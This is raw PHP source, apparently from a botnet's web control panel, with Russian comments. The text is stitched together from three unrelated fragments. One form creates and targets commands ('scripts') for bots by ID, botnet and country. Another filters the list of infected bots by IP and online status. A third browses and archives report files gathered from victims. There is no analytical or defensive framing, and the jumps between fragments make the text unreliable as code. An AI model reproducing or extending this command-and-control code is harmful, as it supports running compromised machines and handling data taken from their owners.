} if ($_allow_edit) { $data .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('editscript', QUERY_STRING_HTML . '&' . ($is_view ? 'view=' . htmlEntitiesEx(urlencode($_GET['view'])) : 'new'), ''), THEME_FORMPOST_BEGIN); } $data .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $is_view ? LNG_BOTNET_SCRIPT_EDIT : LNG_BOTNET_SCRIPT_NEW), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_NAME, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('name', $f_name, 200, SCRIPT_INPUT_TEXT_WIDTH), $_allow_edit ? THEME_DIALOG_ITEM_INPUT_TEXT : THEME_DIALOG_ITEM_INPUT_TEXT_RO) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_STATUS, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('status', 'auto'), $_allow_edit ? THEME_DIALOG_ITEM_LISTBOX_BEGIN : THEME_DIALOG_ITEM_LISTBOX_BEGIN_RO) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_STATUS_DISABLED), !$f_is_enabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_STATUS_ENABLED), $f_is_enabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . ($_allow_edit ? THEME_DIALOG_ITEM_LISTBOX_END : THEME_DIALOG_ITEM_LISTBOX_END_RO) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_LIMIT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('limit', $f_limit, 10, SCRIPT_INPUT_TEXT_WIDTH), $_allow_edit ? THEME_DIALOG_ITEM_INPUT_TEXT : THEME_DIALOG_ITEM_INPUT_TEXT_RO) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_BOTS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('bots', $f_bots, 60000, SCRIPT_INPUT_TEXT_WIDTH), $_allow_edit ? THEME_DIALOG_ITEM_INPUT_TEXT : THEME_DIALOG_ITEM_INPUT_TEXT_RO) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_BOTNETS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('botnets', $f_botnets, 60000, SCRIPT_INPUT_TEXT_WIDTH), $_allow_edit ? THEME_DIALOG_ITEM_INPUT_TEXT : THEME_DIALOG_ITEM_INPUT_TEXT_RO) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_COUNTRIES, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('countries', $f_countries, 60000, SCRIPT_INPUT_TEXT_WIDTH), $_allow_edit ? THEME_DIALOG_ITEM_INPUT_TEXT : THEME_DIALOG_ITEM_INPUT_TEXT_RO) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_SCRIPT_CONTEXT, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('context', 20, 100, SCRIPT_INPUT_TEXT_WIDTH, $f_context), $_allow_edit ? THEME_DIALOG_ITEM_INPUT_TEXTAREA : THEME_DIALOG_ITEM_INPUT_TEXTAREA_RO) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END; if ($_allow_edit) { $data .= str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array($is_view ? LNG_BOTNET_SCRIPT_ACTION_SAVE : LNG_BOTNET_SCRIPT_ACTION_NEW, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . ($is_view ? THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_SCRIPT_ACTION_NEWT, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&new=' . htmlEntitiesEx(urlencode($_GET['view'])) . '\'"'), THEME_DIALOG_ITEM_ACTION) : '') . THEME_DIALOG_ACTIONLIST_END; } $data .= THEME_DIALOG_END . ($_allow_edit ? THEME_FORMPOST_END : ''); $js_script = 0; //Вывод списка ботов. if ($is_view) { //JavaScript скрипты. $_FULL_QUERY = QUERY_STRING . '&view=' . urlencode($_GET['view']); $js_sort = addJsSlashes($_FULL_QUERY); $_FULL_QUERY .= assocateSortMode(array('rtime', 'type', 'bot_id', 'bot_version', 'report')); $js_page = addJsSlashes($_FULL_QUERY); $js_script = jsCheckAll('reportslist', 'checkall', 'bots[]') . jsSetSortMode($js_sort) . "function ChangePage(p){window.location='{$js_page}&page=' + p; return false;}"; //Выполняем запрос. $cur_page = !empty($_GET['page']) && is_numeric($_GET['page']) ? $_GET['page'] : 1; $page_count = 0; $page_list = ''; $bots_count = 0; $sortmode = ' ORDER BY ' . $_sortColumn . ($_sortOrder == 0 ? ' ASC' : ' DESC'); if ($_sortColumnId != 0) { $sortmode .= ', bot_id' . ($_sortOrder == 0 ? ' ASC' : ' DESC'); } //Получение обшего кол. элементов. $r = mysqlQueryEx('botnet_scripts_stat', 'SELECT COUNT(*) FROM botnet_scripts_stat WHERE extern_id=\'' . addslashes($m[10]) . '\''); if ($mt = @mysql_fetch_row($r)) { //Создание списка страниц.
$filter['bots'] = isset($_GET['bots']) ? $_GET['bots'] : ''; $filter['botnets'] = isset($_GET['botnets']) ? $_GET['botnets'] : ''; $filter['ips'] = isset($_GET['ips']) ? $_GET['ips'] : ''; $filter['countries'] = isset($_GET['countries']) ? $_GET['countries'] : ''; $filter['nat'] = isset($_GET['nat']) ? intval($_GET['nat']) : 1; $filter['online'] = isset($_GET['online']) ? intval($_GET['online']) : 1; $filter['new'] = isset($_GET['new']) ? intval($_GET['new']) : 0; $filter['used'] = isset($_GET['used']) ? intval($_GET['used']) : 0; $filter['comment'] = isset($_GET['comment']) ? intval($_GET['comment']) : 0; foreach ($filter as $k => $i) { $fullQuery .= '&' . $k . '=' . urlencode($i); } /////////////////////////////////////////////////////////////////////////////////////////////////// // Определяем данные текущей сортировки. /////////////////////////////////////////////////////////////////////////////////////////////////// $fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment')); $jsSort = addJsSlashes($fullQuery); $jsPage = addJsSlashes($fullQuery); /////////////////////////////////////////////////////////////////////////////////////////////////// // JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $jsScript = jsCheckAll('botslist', 'checkall', 'bots[]') . jsSetSortMode($jsSort) . "function changePage(p){window.location='{$jsPage}&page=' + p; return false;}"; /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание запроса. /////////////////////////////////////////////////////////////////////////////////////////////////// /* Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю на 4... Что приведет к противоположному косяку... */
foreach ($_errors as $e) { echo THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', str_replace('{TEXT}', $e, THEME_STRING_ERROR)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END; $i++; } echo THEME_LIST_END . THEME_VSPACE; } //Список дейтсвий. $al = LNG_REPORTS_FILESACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('filesaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); if ($_allow_remove) { $al .= str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_REPORTS_FILESACTION_REMOVE), THEME_DIALOG_ITEM_LISTBOX_ITEM); } $al .= str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_REPORTS_FILESACTION_CREATEARC), THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE; //Обзор. if ($_is_browser) { //Определяем данные текущей сортировки. $_uri_sortmode_html = htmlEntitiesEx(assocateSortMode(array(0, 1, 2))); echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('fileslist', QUERY_STRING_HTML . '&path=' . htmlEntitiesEx(urlencode($_FILTER['path'])) . $_uri_sortmode_html, $fl_onsubmit), THEME_FORMPOST_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, LNG_REPORTS_RESULT_BROWSE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $al, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(COLUMNS_COUNT, LNG_REPORTS_LIST_DIR_TITLE . ' ' . htmlEntitiesEx('/' . urldecode($_FILTER['path']))), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . writeSortColumn(LNG_REPORTS_LIST_NAME, 0, 0) . writeSortColumn(LNG_REPORTS_LIST_SIZE, 1, 0) . writeSortColumn(LNG_REPORTS_LIST_MTIME, 2, 1) . THEME_LIST_ROW_END; //Определяем URL'ы. $up = dirname($_FILTER['path']); if (strcmp($up, '.') === 0 || strcmp($up, '/') === 0 || strcmp($up, '\\') === 0) { $up = ''; } $_url_download = QUERY_STRING_HTML . '&path=' . htmlEntitiesEx(urlencode($_FILTER['path'])) . '&file='; $_url_subdir = QUERY_STRING_HTML . '&path=' . htmlEntitiesEx(urlencode($_FILTER['path'])) . $_uri_sortmode_html . '&sub='; $_url_updir = QUERY_STRING_HTML . '&path=' . htmlEntitiesEx(urlencode($up)) . $_uri_sortmode_html; //Читаем каталог. К сожелению алгоритм очень медленный... $files = array(); $dirs = array(); $size = 0; $msg = ''; if (($dr = @opendir($_CUR_PATH)) === false) {